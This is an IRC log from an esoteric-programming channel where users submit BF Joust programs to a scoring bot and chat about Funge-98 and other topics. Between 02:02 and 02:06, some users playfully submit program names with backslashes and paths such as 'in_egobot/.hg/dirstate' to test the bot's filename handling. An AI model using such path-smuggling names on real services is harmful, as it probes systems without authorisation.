01:24:55 <quintopia> !bfjoust slowermonorail (>->+)*2>>>>++++>---->([(..-)*20[+]]>)*20
01:25:23 <EgoBot> Score for quintopia_slowermonorail: 26.0
01:25:43 <myndzi> !bfjoust slowrush >(+)*19>(-)*19(>++++++>------)*1>+>->->+(>[[-(+)*22[-]]+>[+(-)*22[+]]->]+)*21
01:25:58 <quintopia> !bfjoust slowermonorail (>->+)*3>>++++>---->([(..-)*20[+]]>)*20
01:26:27 <Sgeo> Maybe I should try making some that target specific programs
01:26:33 <Sgeo> What's the linky?
01:26:48 <quintopia> http://codu.org/eso/bfjoust/in_egobot/
01:27:03 <EgoBot> Score for quintopia_slowermonorail: 28.2
01:27:03 <EgoBot> Score for myndzi_slowrush: 47.9
01:27:12 <quintopia> hmmm
01:27:20 <quintopia> apparently more decoys = higher score
01:27:21 <myndzi> huh, it put them both in the breakdown,txt
01:27:23 <quintopia> soooooo
01:27:28 <quintopia> yeah it does that
01:27:36 <myndzi> confusing, i wanted a report of that program
01:27:37 <myndzi> :|
01:27:51 <quintopia> !bfjoust slowermonorail (>->+)*3>>++++>---->([(..-)*20[+]]+>)*20
01:28:01 <Sgeo> Bleh, I'd have to actually read the code for this
01:28:05 <quintopia> all programs currently available go in the breakdown.txt
01:28:17 <quintopia> the entire tournament
01:28:20 <myndzi> i mean, it was processing both our programs at once
01:28:25 <EgoBot> Score for quintopia_slowermonorail: 27.8
01:28:27 <myndzi> and making breakdown.txt for both of them at the same time
01:28:31 <quintopia> because both were currently available
01:28:33 <myndzi> instead of only one of them vs everything on the hill
01:29:03 <quintopia> it would have to run two separate reports then!
01:29:27 <myndzi> eh, i know WHY i was just complaining that you ruined my report ;)
01:29:37 <Gregor> The harpsichord solo is in fact 38 seconds long :P
01:29:44 <quintopia> no i didn't! you get to see how we compare!
01:30:42 <quintopia> !bfjoust slowermonorail (>->+)*3>>++++>---->([(..-)*20[+]]+>[(..-)*20[+]]->)*10
01:31:19 <elliott> Gregor: Now remove other instruments
01:31:26 <Gregor> elliott: NEVER
01:31:37 <quintopia> myndzi: is it unwise to leave a gap in the decoy chain like that?
01:31:37 <Gregor> elliott: This is dirge-for-accordion-plus-harpsichord-now btw :P
01:31:47 <elliott> Gregor: You forgot the organ.
01:31:51 <myndzi> doesn't really matter
01:31:57 <Gregor> elliott: Organs can suck my organ
01:31:58 <EgoBot> Score for quintopia_slowermonorail: 25.6
01:32:01 <myndzi> it was to throw something off surely
01:32:04 <elliott> I'll suck YO-- wait.
01:32:10 <myndzi> lol
01:32:26 <myndzi> slowrush beats wiggle now
01:32:45 <myndzi> i didn't want to get in an optimize war with him so i let him have #1 way back
01:32:51 <myndzi> but now there's no excuse to let him keep beating me
01:32:51 <myndzi> ;p
01:32:59 <quintopia> !bfjoust slowermonorail (>->+)*3>->++++>---->([(..-)*20[+]]+>[(..-)*20[+]]->)*10
01:33:05 <quintopia> we'll find out....
01:33:43 <EgoBot> Score for quintopia_slowermonorail: 26.2
01:33:56 -!- copumpkin has joined.
01:34:00 <quintopia> score improves slightly!
01:34:16 <quintopia> myndzi: answer: leave no gaps near homebase
01:34:28 <myndzi> that's not really true necessarily
01:34:49 <quintopia> it's true for the current hill
01:35:03 <myndzi> you don't know why your score improved, it likely has very little to do with decoys
01:35:06 <elliott> !bfjoust >>>(-)*10000
01:35:06 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
01:35:14 <elliott> !bfjoust i_will_defend_not_my_flag_to_the_death >>>(-)*10000
01:35:32 <myndzi> it's as likely to be a timing difference as anything else
01:35:35 <myndzi> for such a small increase
01:35:39 <quintopia> ah
01:35:41 <myndzi> also i've been testing programs in private
01:35:48 <myndzi> so as not to spam the channel
01:35:50 <elliott> This is actually the start of a good strategy :P
01:35:53 <elliott> myndzi: no do it in-channel
01:35:55 <elliott> we like to see
01:36:05 <myndzi> decoys have never really made a huge difference in score
01:36:07 <EgoBot> Score for elliott_i_will_defend_not_my_flag_to_the_death: 2.9
01:36:09 <quintopia> yeah, i don't want to do that because then no one knows whena program is currently running
01:36:11 <myndzi> i mean, tweaking the decoys
01:36:28 <myndzi> unless you are doing it specifically to target some program and it nets you a win over that program that is worth it
01:36:50 <quintopia> well, i wouldn't know
01:36:56 <quintopia> i'm new to this form of procrastination
01:36:57 <myndzi> having a gap in the middle of the decoys is pretty meaningless, it's about the same as having one less decoy at the end
01:36:57 <elliott> @hoogle (k,a) -> Map k a -> Map k a
01:36:57 <lambdabot> Data.Graph.Inductive.Graph delEdge :: DynGraph gr => Edge -> gr a b -> gr a b
01:36:57 <lambdabot> Data.Array.IArray (//) :: (IArray a e, Ix i) => a i e -> [(i, e)] -> a i e
01:36:58 <lambdabot> Data.Graph.Inductive.Graph insNode :: DynGraph gr => LNode a -> gr a b -> gr a b
01:37:06 <quintopia> it's as deadly as any other procrastination
01:37:19 <myndzi> since most programs will either not care about the placement of the decoys or they'll just skip blank places fairly quickly
01:37:55 <elliott> You know what's awesome?
01:37:56 <elliott> Bricks.
01:37:59 <elliott> Bricks are awesome.
01:38:15 <Gregor> They taste EXACTLY LIKE BRICKS.
01:39:05 <quintopia> anyway, i was gonna put slowermonorail back like i had it...
01:39:33 <quintopia> !bfjoust slowermonorail (>->+)*3>->++++>---->([(..-)*20[+]]>)*20
01:39:46 <quintopia> or close to, anyways
01:40:07 <EgoBot> Score for quintopia_slowermonorail: 25.4
01:40:16 <quintopia> bah
01:40:45 <quintopia> oh
01:40:50 <quintopia> that wasn't the right one
01:41:03 <quintopia> !bfjoust slowermonorail (>->+)*3>->++++>---->([(..-)*20[+]]+>)*20
01:41:33 <EgoBot> Score for quintopia_slowermonorail: 26.3
01:41:50 <quintopia> better
01:41:56 <quintopia> CARRY ON
01:41:59 <Gregor> http://codu.org/tmp/dirge-for-you.ogg EPIC HARPSICHORD SOLO
01:42:32 <quintopia> myndzi: shudder still does far better than it has a right to :/
01:43:26 <quintopia> Gregor: you said it was a solo! :P
01:43:43 <Gregor> <Gregor> elliott: By "solo" I do not mean "playing alone", I mean "primary instrument" :P
01:45:03 <quintopia> this is...not really what solo means? solo means ... a cadenza :P (it may also mean a single instrument from a given section playing, ya, but...not as commonly)
01:45:22 <elliott> Gregor: make it a solo.
01:45:31 <quintopia> elliott: shh.
01:45:35 <elliott> quintopia: I dunno, guitar solos usually have other instruments too :P
01:45:41 <elliott> But this ... is not a solo, yeah.
01:45:55 <Gregor> I will kill you both.
01:45:56 <Gregor> With fire.
01:46:25 <quintopia> i will kill you back with SAX AND VIOLINS
01:47:58 <elliott> Holy shit, this might actually work.
01:48:02 <elliott> SEXYMAXIMUM
01:48:06 <elliott> Aww man, and it might not.
01:48:45 <Gregor> ?
01:49:05 <myndzi> !bfjoust butter (>[(-.)*500-(-.)*500(+.)*500+(+.)*500])*30
01:49:39 <Gregor> I predict low score.
01:49:48 <myndzi> it only has one purpose ;)
01:49:48 <EgoBot> Score for myndzi_butter: 19.7
01:50:13 <myndzi> i didn't expect it to score that high, but it did what it was supposed to!
01:50:23 <quintopia> Gregor: thanks for augmenting the hill. it seems to encourage variety and multilateral strategies.
01:50:35 <quintopia> what was it supposed to do?
01:50:49 <Gregor> quintopia: No, I think that the fact that people suddenly started paying attention encourages variety and multilateral strategies.
01:50:50 <myndzi> myndzi_butter.bfjoust vs quintopia_one_o_them_shudder_thangs.bfjoust:
01:50:51 <myndzi> <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<
01:50:51 <myndzi> myndzi_butter.bfjoust wins
01:51:04 <myndzi> myndzi_butter.bfjoust vs quintopia_one_o_them_shudder_thangs.bfjoust:
01:51:04 <myndzi> <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<
01:51:04 <myndzi> myndzi_butter.bfjoust wins
01:51:10 <myndzi> eh, the other one too
01:51:12 <myndzi> didn't copy to clipboard
01:51:19 <myndzi> anyway, i didn't bother to think about the timing
01:51:23 <myndzi> maybe i'll make it a little more robust
01:51:26 <quintopia> Gregor: of course. and people care more because the hill is bigger >_>
01:51:31 <quintopia> myndzi: the other one is identical
01:51:43 <myndzi> i meant to copy its name though
01:51:52 <myndzi> it's not identical in appearance, but identical in functionality, yeah
01:52:05 <elliott> Vorpal: ping
01:52:35 <elliott> argh
01:52:53 <quintopia> the only difference iirc, is he used "1000000" while I used "384000"...but any constant over 384000/3 results in a program behaving identically
01:53:16 <Gregor> !bfjoust turtle_rescue_squad (.)*1000(>)*9(>[[-]..>>[-]..])
01:53:16 <myndzi> like i said
01:53:23 <myndzi> different in appearance but not function
01:53:30 <Gregor> Errr, that's borked X-D
01:53:39 <EgoBot> Score for Gregor_turtle_rescue_squad: 0.0
01:53:44 <myndzi> haha
01:53:47 <myndzi> !bfjoust butter (>[(-.)*128-(-.)*128(+.)*128+(+.)*128>])*30
01:53:51 <Gregor> !bfjoust turtle_rescue_squad (.)*1000(>)*9(>[[-]..>>[-]..])*1000
01:53:53 <Gregor> Whoops
01:53:55 <quintopia> myndzi: any program that uses offset clears also beats shudders
01:54:06 <EgoBot> Score for myndzi_butter: 33.9
01:54:09 <myndzi> i almost get positive points
01:54:10 <EgoBot> Score for Gregor_turtle_rescue_squad: 21.3
01:54:18 <quintopia> myndzi: because they feature [blahblah[-]]
01:54:25 <elliott> :t readBase
01:54:26 <lambdabot> Not in scope: `readBase'
01:54:46 <elliott> :t foldl (\x y -> (x*256)+y)
01:54:48 <lambdabot> forall b. (Num b) => b -> [b] -> b
01:54:48 <myndzi> how about a decoy just for lulz
01:54:49 <elliott> :t foldl (\x y -> (x*256)+y) 0
01:54:50 <lambdabot> forall b. (Num b) => [b] -> b
01:54:54 <Gregor> !bfjoust turtle_rescue_squad (.)*1000(>)*9(>[[-]..>(>[-])*20])*21
01:55:04 <quintopia> Gregor: love the name
01:55:12 <EgoBot> Score for Gregor_turtle_rescue_squad: 18.2
01:55:18 <Gregor> Well, that's worse ...
01:55:21 <myndzi> !bfjoust butter -->+++++>+++++>----->----->+>->>(>[(-.)*128-(-.)*128(+.)*128+(+.)*128>])*30
01:55:30 -!- augur has changed nick to augur[afk].
01:55:52 <EgoBot> Score for myndzi_butter: 39.9
01:55:56 <myndzi> hoho
01:55:56 <Gregor> !bfjoust turtle_rescue_squad (>+>-<<)*250(>)*9(>[[-]..>>[-]..])*1000
01:55:57 <quintopia> wow
01:56:06 <myndzi> positive points!
01:56:08 <quintopia> who'dathunk that'd work so well
01:56:10 <Gregor> Why do I keep putting *1000 on something which by definition can't happen more than *20 ...
01:56:18 <myndzi> i woulda thunk :)
01:56:28 <EgoBot> Score for Gregor_turtle_rescue_squad: 19.0
01:56:33 <myndzi> it's not all that different in some ways from careless
01:56:35 <Gregor> Bleh, still worse X-P
01:56:52 <quintopia> yeah it's pretty much a slowrush
01:56:56 <myndzi> and i made it beat careless too
01:57:02 <quintopia> ha
01:57:02 <myndzi> nah, it doesn't really loop like slowrush does
01:57:13 <quintopia> yeah
01:57:15 <quintopia> but it's a rush
01:57:17 <quintopia> that's slow
01:57:23 <myndzi> it's not all that slow
01:57:26 <Gregor> !bfjoust turtle_rescue_squad -(>)*5(>+>-<<)*250(>)*4(>[[-]..>>[-]..])*21
01:57:31 <myndzi> it always advances
01:57:41 <myndzi> and it has a fixed loop cycle
01:57:45 <EgoBot> Score for Gregor_turtle_rescue_squad: 21.7
01:57:48 <elliott> Gregor: What's the maximum tape cell value in BF Joust?
01:57:50 <myndzi> i could probably make the loop cycle smaller too
01:57:55 <quintopia> a very long fixed loop cycle
01:58:00 <Gregor> elliott: 255, it's 8-bit
01:58:06 <myndzi> i wonder what happens if i do
01:58:07 <myndzi> !bfjoust butter -->+++++>+++++>----->----->+>->>(>[(-.)*128(+.)*128>])*30
01:58:22 <EgoBot> Score for myndzi_butter: 32.8
01:58:27 <myndzi> mk
01:58:35 <elliott> !bfjoust die_hard >>>>>((-)*127[(+)*10]<)*4(--+)*10000
01:58:45 <myndzi> fuck
01:58:49 <myndzi> just as i clicked it
01:59:05 <elliott> :D
01:59:15 <myndzi> !bfjoust butter -->+++++>+++++>----->----->+>->>(>[(-.)*128(.-)*128>])*30
02:00:16 <elliott> <interactive>:1:4:
02:00:17 <elliott> My brain just exploded.
02:00:17 <elliott> I can't handle pattern bindings for existential or GADT data constructors.
02:00:17 <elliott> Instead, use a case-expression, or do-notation, to unpack the constructor.
02:00:17 <elliott> In the binding group for
02:00:17 <elliott> FP foo
02:00:19 <elliott> In a pattern binding: FP foo = fingerprints Map.! 1314212940
02:00:21 <elliott> I'm glad I use a compiler whose brain can explode.
02:00:33 <elliott> (And that is still literate after this.)
02:00:37 <myndzi> right, well, it's going back the way it was :P
02:00:43 <EgoBot> Score for myndzi_butter: 35.6
02:00:43 <EgoBot> Score for elliott_die_hard: 1.7
02:00:47 <myndzi> i don't feel like optimizing its timing against shudder
02:00:47 <elliott> 1.7????
02:00:49 <elliott> but that was awesome
02:00:54 <elliott> why didn't that work
02:01:00 <myndzi> !bfjoust butter -->+++++>+++++>----->----->+>->>(>[(-.)*128-(-.)*128(+.)*128+(+.)*128>])*30
02:01:01 <elliott> someone link me to breakdown :P
02:01:02 <elliott> argh
02:01:03 <elliott> fuck you :D
02:01:06 <myndzi> OWNED
02:01:15 <EgoBot> Score for myndzi_butter: 38.8
02:01:16 <myndzi> got you back ;)
02:02:01 <elliott> !bfjoust die_hard >>>>>((-)*127(-)*30<)*4(--+)*10000
02:02:06 <myndzi> my damn test program is still on there haha
02:02:09 <myndzi> i have no idea why
02:02:21 <myndzi> everyone else seems to be able to nuke their programs but nooo not me
02:02:38 <Gregor> mycroftiv: Probably it has a problem with \
02:02:48 <myndzi> ahhh, maybe so
02:02:55 <myndzi> can you manually remove it?
02:03:02 <elliott> !bfjoust die\really\hard >>>>>((-)*127(-)*30<)*4(--+)*10000
02:03:04 <elliott> >:D
02:03:12 <myndzi> :rolleyes:
02:03:12 <EgoBot> Score for elliott_die_hard: 1.7
02:03:25 <elliott> !bfjoust \ <
02:03:30 <quintopia> i'm at least a bit happier now that the shudder isn't my top performer
02:03:50 <quintopia> even though i don't have any great performers :P
02:04:22 <myndzi> .. !bfjoust in_egobot/.hg/dirstate lolz<
02:04:31 <elliott> Inferred type is less polymorphic than expected
02:04:31 <elliott> Quantified type variable `fp' escapes
02:04:31 <elliott> When checking an existential match that binds
02:04:31 <elliott> x :: fp
02:04:32 <elliott> argh
02:04:37 <EgoBot> Score for elliott_die\really\hard: 1.9
02:04:37 <EgoBot> Score for elliott_\: 0.0
02:04:43 <elliott> :D
02:04:54 <elliott> !bfjoust in_egobot \\\\\\\\\\\\\\\\\\\\\\\\\\ //////////////////////////////////////////////\\\\\\\\\///////
02:04:59 <elliott> oops
02:05:00 <myndzi> at least they didn't make it on
02:05:04 <myndzi> :)
02:05:07 <elliott> darn :D
02:05:08 <myndzi> 'cause UFAIL
02:05:21 <elliott> !bfjoust \ [>[-]+]
02:05:45 <Gregor> Heh, I accidentally explicitly ALLOWED \ instead of disallowing it :P
02:05:51 <myndzi> nice.
02:05:55 <myndzi> gotta love that!
02:06:01 <myndzi> be sure about / too
02:06:08 <EgoBot> Score for elliott_in_egobot: 7.0
02:06:08 <EgoBot> Score for elliott_\: 11.6
02:06:28 <quintopia> myndzi: is it possible to make a program that never draws against itself in any configuration (although it obviously has to draw itself across all configs)?
02:06:36 <elliott> wow it works
02:06:39 <Gregor> !bfjoust test\o\rama <
02:06:40 <elliott> amazeinene
02:06:51 <elliott> quintopia: no because -- and ++ are testd
02:06:53 <elliott> *tested
02:06:55 <EgoBot> Score for Gregor_test_o_rama: 0.0
02:06:58 <myndzi> programs don't play themselves
02:07:14 <quintopia> myndzi: sure they do, if you submit them twice with different names
02:07:21 <quintopia> elliott: i don't understand your reasoning
02:07:29 <myndzi> that's not "themselves" though
02:07:35 <myndzi> that's "a copy" :P
02:07:41 <elliott> quintopia: program vs self = draw
02:07:53 <quintopia> elliott: WHY
02:07:56 <myndzi> anyway, i don't know; there isn't anything like pspace in corewars
02:08:00 <elliott> quintopia: because mathematics!
02:08:04 <myndzi> and everything executes simultaneously
02:08:14 <myndzi> so i would have to say it probably can't happen
02:08:22 <myndzi> there's no way to make program logic diverge
02:08:39 <quintopia> it seems intuitive that it shouldn't happen, but i don't know how to prove it can't happen
02:08:49 <elliott> I think ais523 sketch-proofed it at one point.
02:08:52 <myndzi> i'm not interested in proving it ;)
02:08:57 <elliott> *proved
02:09:13 <quintopia> i guess it would be something like
02:09:18 <quintopia> if they finish differently
02:09:27 <quintopia> there must be a first step where they did something different
02:09:59 <quintopia> but they are in identical states up to that point, so that can't happen
02:10:07 <myndzi> maybe you could take advantage of the fact that every other tape length they can operate on the same cell
02:10:18 <quintopia> no i don't think so
02:10:25 <myndzi> not really sure how that would make a difference though
02:10:35 <myndzi> i mean, you could have them react differently, but they'd both react differently the same
02:10:35 <myndzi> :P
02:11:38 <myndzi> couldn't you prove it by pointing out that you could swap the programs and they would have the same behavior in every configuration?
02:11:42 <quintopia> unrelatedly: is it allowed to create anagol problems where the output is not deterministically determined by the input, or does the server only allow the checker to checker "did i get exactly this output back?"
02:11:53 <myndzi> since they are the same, nothing would change, but if you could make it not a draw in any one configuration, then the side that won would change
02:12:08 <myndzi> that can't happen since because they have the same code, swapping them won't affect anything
02:13:15 <elliott> quintopia: there are no checkers
02:13:19 <elliott> only predefined input output pairs
02:13:56 <quintopia> surely there is at least a checker that checks that you got the right output from each input?
02:14:09 <quintopia> otherwise a human has to do it
02:14:32 <elliott> quintopia: it just checks that the output was the input. it's internal to the anagol code.
02:14:35 <elliott> erm.
02:14:38 <elliott> it literally just runs it with the input
02:14:41 <elliott> and checks the output
02:14:43 <elliott> what else could it do?
02:15:25 <quintopia> that's still a checker
02:15:34 <elliott> not really
02:16:16 <quintopia> if you say it's not, then you are arguing that unit tests don't check anything either...seeing as how that is how most unit tests function
02:16:47 <elliott> quintopia: Well, I don't see how it's something you can give a name other than "the only thing possible".
02:16:54 <elliott> What should it do, check that the outputs match iff one is rot13'd?
02:17:24 <quintopia> it's certainly not the only thing possible. it's just the simplest thing possible.
02:18:11 <quintopia> for instance, you could have a program that checked that a sequence of bits was highly likely to be distributed uniformly at random, but that would be a more complex checker.
02:18:25 <elliott> that wouldn't be a golf checker
02:18:39 <quintopia> that's what i was asking :P
02:18:58 <quintopia> whether anagol allowed arbitrary check algorithms or not
02:19:07 <quintopia> since they are conceivable, i had to ask
02:21:20 <elliott> Sweet, I have NO FUCKING IDEA how ( behaves in the face of multithreading.
02:29:13 <quintopia> Gregor: you see clifford stoll's ted talk?
02:29:24 <Gregor> Nope
02:30:25 <elliott> :t replicateM
02:30:25 <lambdabot> forall (m :: * -> *) a. (Monad m) => Int -> m a -> m [a]
02:34:22 <elliott> Note-to-logreading-self-to-ask-Deewiant: Does ) ever reflect? When?
02:34:28 <elliott> Ah.
02:34:29 <elliott> No, it never does.
02:35:48 -!- nddrylliog has joined.
02:35:55 <elliott> BAD: ) should have reflected trying to unload nonexistent fingerprint 0
02:35:57 <elliott> I'm not sure that's true!
02:36:01 <elliott> "The corresponding ) "Unload Semantics" instruction unloads the semantics for a given fingerprint from any or all of the instructions A to Z (even if that fingerprint had never been loaded before). It pops a count and builds a fingerprint in exactly the same way."
02:36:02 <elliott> But okay...
02:36:26 <elliott> hi nddrylliog, i'm implementing funge-98
02:36:44 <nddrylliog> elliott, ohai! I will collapse soon. but good news :D has anyone implemented it yet?
02:36:50 <elliott> collapse?
02:37:07 <Sgeo> nddrylliog is secretly a house of cards.
02:37:10 <elliott> also, yes; although, it took eight to nine years from its creation to the first time anyone implemented it correctly
02:37:12 <elliott> and that's not for lack of trying
02:37:58 <elliott> Now I don't know whether fingerprint instructions are per-IP or not. *sigh* TODO: Ask Deewiant.
02:38:21 <Sgeo> Shouldn't you be asking cpressey?
02:38:23 <elliott> Totals grouped by language (dominant language first):
02:38:23 <elliott> haskell: 762 (100.00%)
02:38:23 <elliott> Man, it's grown a lot today.
02:38:26 <elliott> It was, what, 400 lines before?
02:38:38 <elliott> Sgeo: Deewiant is the one who wrote the first compliant implementation, the only comprehensive and correct test suite...
02:38:48 <elliott> and cpressey himself responds to most Funge-98 questions with "Hell if I know".
02:39:42 <Sgeo> Oh, I misread you as saying that you will be the first to make a correct implementation
02:39:53 <elliott> No. There are... four, I believe.
02:40:02 <elliott> CCBI, RC/Funge, cfunge, and efunge.
02:40:06 * Sgeo should learn to math
02:40:07 <quintopia> Gregor: http://www.youtube.com/watch?v=Gj8IA6xOpSk
02:40:11 <elliott> PyFunge isn't bad either, I think.
02:40:17 <elliott> Oh, wait.
02:40:18 <nddrylliog> Sgeo, "collapse" is just today's pretty word for "pass out"
02:40:19 <elliott> HsFunge.
02:40:21 <elliott> Is compliant.
02:40:37 <elliott> nddrylliog: Surprisingly literate for someone on the verge of passing out.
02:41:35 <nddrylliog> elliott, surprisingly, and according to my various sleep schedules fuckedupery experiments, literacy isn't the first thing that goes out
02:41:50 <elliott> nddrylliog: Maybe you should stop fuckeduperying your sleep schedule :P
02:42:33 <Sgeo> nddrylliog is turning into me!
02:42:54 <elliott> No.
02:42:55 <elliott> No he isn't.
02:43:14 <nddrylliog> elliott, oh no, it's the perfect recipe to spice up an otherwise boring life - the downside is that restraint is actually the first thing to go, which means I'll have to avoid whichever friends of mine were present tonight, I think
02:43:36 <elliott> I get the feeling that you're really happy nddrylliog :P
02:43:58 * Sgeo pukes on IE
02:44:14 <elliott> ...Dude, why do you even come into contact with IE?
02:44:18 <elliott> You have absolutely no reason to.
02:44:19 <nddrylliog> elliott, I can see how one could think that. I'm surprisingly drugfree though
02:44:26 <Sgeo> farmingdale.edu doesn't work in Chrome
02:44:28 <elliott> nddrylliog: It was what some of us call sarcasm.
02:44:35 <Sgeo> And I have no idea why
02:44:42 <elliott> Sgeo: If you transferred to a real university that problem would disappear :P
02:44:50 <elliott> Sgeo: http://www.farmingdale.edu/ works for me.
02:44:55 <Sgeo> Also, Cybertown, when I want to visit
02:45:06 <elliott> Fails without www. because, you know, your college sucks.
02:45:18 <elliott> "FARMINGDALE STATE NAMED FIFTH MOST SAFE COLLEGE IN THE UNITED STATES BY THE DAILY BEAST" ;; well that's an achievement.
02:45:21 <elliott> FIFTH safest!
02:45:59 <Sgeo> Even www.farmingdale.edu doesn't work for me in Chrome
02:46:15 <nddrylliog> Sgeo, failed to load the first time (blank page) in chrome, reloaded, now everything's fine
02:46:17 <Sgeo> Ctrl-Shift-R made it work
02:46:27 <Sgeo> Bizarre
02:46:41 <nddrylliog> well apart from the fact that some people actually put the idea of naming a school with an anagram of "farming deal" into practice
02:46:58 <Sgeo> nddrylliog, it's the name of the area
02:47:03 <elliott> nddrylliog: writing this has made me reach a stunning conclusion.
02:47:06 <elliott> Haskell is awesome.
02:47:09 <elliott> I know: i'm shocked too.
02:47:19 <Sgeo> elliott, Atomo is written in Haskell
02:47:31 <elliott> Starting to regret taking Sgeo off ignore.
02:47:53 <Sgeo> eeep
02:48:29 <nddrylliog> elliott, if Haskell is the only mainstream language that has learned *anything* from dependent types it's well enough to qualify for "awesome" as far as I'm concerned
02:49:22 <elliott> nddrylliog: Haha, I have some Dynamic in this (basically opaque runtime values that you can cast to another type and if the type is the type they started with, it succeeds, otherwise it fails and you get to handle that) because the type system wasn't quite enough to encode what I wanted
02:49:39 <elliott> (For fingerprints, the Funge-98 library/language-extension mechanism. And yes, there are many.)
02:49:43 <elliott> (Possibly dozens.)
02:49:53 <elliott> ^source
02:49:53 <fungot> http://git.zem.fi/fungot/blob/HEAD:/fungot.b98
02:49:56 <elliott> End goal is to be able to run ^ :P
02:51:01 -!- augur[afk] has quit (Remote host closed the connection).
02:52:02 <nddrylliog> ah, Dynamic typing in Haskell, wonderful
02:52:07 <nddrylliog> what will be your next goal? static typing in Ruby?
02:52:31 <elliott> nddrylliog: :-D
02:52:42 <elliott> nddrylliog: The great thing about Haskell is that it subsumes things like dynamic typing and imperative programming.
02:53:11 <elliott> And it can even "embed" them: although my implementation uses Data.Dynamic, outside of the internals, everything else sees it as strongly typed.
02:53:30 <nddrylliog> man, it's a felony to use words such as "subsume" at 4:13 in the "morning"
02:53:55 <elliott> *3:13
02:53:57 <elliott> Darn Swiss.
02:54:05 <nddrylliog> oh my god, "subsumer" is actually a french verb as well
02:54:11 <elliott> :-D
02:54:13 <elliott> Darn French.
02:54:15 <nddrylliog> "to take as a premise"
02:54:19 <nddrylliog> awww.
02:54:36 <nddrylliog> I just saw Primer. Anyone *hasn't* seen it yet?
02:55:13 <elliott> I haven't! But it's on my Fiction Backlog.
02:55:24 <Sgeo> nddrylliog, I haven't
02:56:31 <nddrylliog> ha! I would've thought that there would be a cult devoted to it on #esoteric
02:56:38 <nddrylliog> Sons, I'm disappoint
02:57:08 <elliott> I doubt I will ever beat CCBI2 on Fungicide...
02:57:21 <zzo38> Have any of you people in here played Yomi card game?
02:57:26 <elliott> Mostly because wrapping in axis-aligned bounding boxes by solving Diophantines doesn't sound like my idea of fun.
02:57:33 <elliott> OK, it does, but it doesn't sound like my idea of something I could actually implement.
03:00:38 <elliott> Gregor: http://www.phlamethrower.co.uk/riscos/sdcreate.php Dude, run RISC OS on your Pandora.
03:00:42 <elliott> ANYWAY
03:00:44 <elliott> I'm sleeping now. ->
03:00:47 -!- elliott has quit (Quit: Leaving).
03:08:29 -!- amca has quit (Quit: Farewell).
03:10:48 -!- augur[afk] has joined.
03:14:50 <Gregor> http://lonelydino.com/cache/347.png The real subtext behind all Dinosaur Comics.
03:16:26 -!- nddrylliog has quit (Ping timeout: 240 seconds).
03:20:07 -!- ndd has joined.
03:20:25 -!- ndd has changed nick to nddrylliog.
03:27:51 <quintopia> Gregor: hey, instead of always putting the last bfj breakdown in a single file, can you generate a breakdown digest for each program? and you could still cache them and update only the lines that need updating and this is way too much to ask of you innit?
03:28:19 <Gregor> It's doable, I just don't want to :P
03:28:25 <Gregor> The difficulty is just that it's all cached.
03:30:38 <quintopia> okay fine, how about at least making it output to PROGNAME_brkdn.txt and don't worry about updating them when they get out of date? is that easy?
03:31:05 -!- azaq23 has quit (Quit: Leaving.).
03:31:15 <quintopia> that would at least get rid of the issue of having your program results disappearing as soon as someone else adds another program
03:32:49 <Gregor> I'll do that ... uhh, tomorrow? Doing something else right now and don't want to context switch :P
04:04:23 <quintopia> in the future you can add more cache to your working memory, and be able to do context switches without invalidating and mental cache lines
04:04:23 <quintopia> *any
04:04:52 -!- myndzi has quit (*.net *.split).
04:04:53 -!- Mannerisky has quit (*.net *.split).
04:04:53 -!- miekko has quit (*.net *.split).
04:04:53 -!- Herobrine has quit (*.net *.split).
04:04:54 -!- dbc has quit (*.net *.split).
04:04:55 -!- aloril has quit (*.net *.split).
04:04:55 -!- coppro has quit (*.net *.split).
04:04:56 -!- SimonRC has quit (*.net *.split).
04:04:56 -!- rodgort has quit (*.net *.split).
04:04:56 -!- mtve has quit (*.net *.split).
04:04:57 -!- cal153 has quit (*.net *.split).
04:04:57 -!- poiuy_qwert has quit (*.net *.split).
04:04:57 -!- pikhq has quit (*.net *.split).
04:04:57 -!- tswett has quit (*.net *.split).
04:04:58 -!- olsner has quit (*.net *.split).
04:04:58 -!- lifthrasiir has quit (*.net *.split).
04:04:58 -!- shachaf has quit (*.net *.split).
04:04:58 -!- Gregor has quit (*.net *.split).
04:04:58 -!- Ilari_antrcomp has quit (*.net *.split).
04:04:58 -!- Zuu has quit (*.net *.split).
04:04:58 -!- variable has quit (*.net *.split).
04:04:58 -!- Slereah has quit (*.net *.split).
04:05:45 -!- cal153 has joined.
04:05:45 -!- Ilari_antrcomp has joined.
04:05:45 -!- poiuy_qwert has joined.
04:05:45 -!- pikhq has joined.
04:05:45 -!- aloril has joined.
04:05:45 -!- myndzi has joined.
04:05:45 -!- Zuu has joined.
04:05:45 -!- variable has joined.
04:05:45 -!- Slereah has joined.
04:05:45 -!- Mannerisky has joined.
04:05:45 -!- tswett has joined.
04:05:45 -!- SimonRC has joined.
04:05:45 -!- rodgort has joined.
04:05:45 -!- coppro has joined.
04:05:45 -!- miekko has joined.
04:05:45 -!- dbc has joined.
04:05:45 -!- olsner has joined.
04:05:45 -!- mtve has joined.
04:05:45 -!- Gregor has joined.
04:05:45 -!- shachaf has joined.
04:05:45 -!- Herobrine has joined.
04:05:45 -!- lifthrasiir has joined.
04:05:45 -!- Ilari has quit (*.net *.split).
04:05:45 -!- Wamanuz5 has quit (*.net *.split).
04:05:45 -!- Vorpal has quit (*.net *.split).
04:05:45 -!- fungot has quit (*.net *.split).
04:08:17 <zzo38> Is this working?
04:08:31 <zzo38> [message test]
04:09:09 -!- pikhq has quit (Write error: Broken pipe).
04:09:10 -!- pikhq_ has joined.
04:09:14 -!- augur[afk] has quit (Ping timeout: 250 seconds).
04:09:22 -!- Ilari has joined.
04:09:22 -!- Wamanuz5 has joined.
04:09:22 -!- Vorpal has joined.
04:09:22 -!- fungot has joined.
04:09:41 <zzo38> ^source
04:09:56 <fungot> http://git.zem.fi/fungot/blob/HEAD:/fungot.b98
04:15:39 <quintopia> zzo38:
04:15:59 <quintopia> i got split onto the smaller half i think
04:16:41 <zzo38> quintopia: You did? What do you have to do about it?
04:18:38 <quintopia> oh nothing
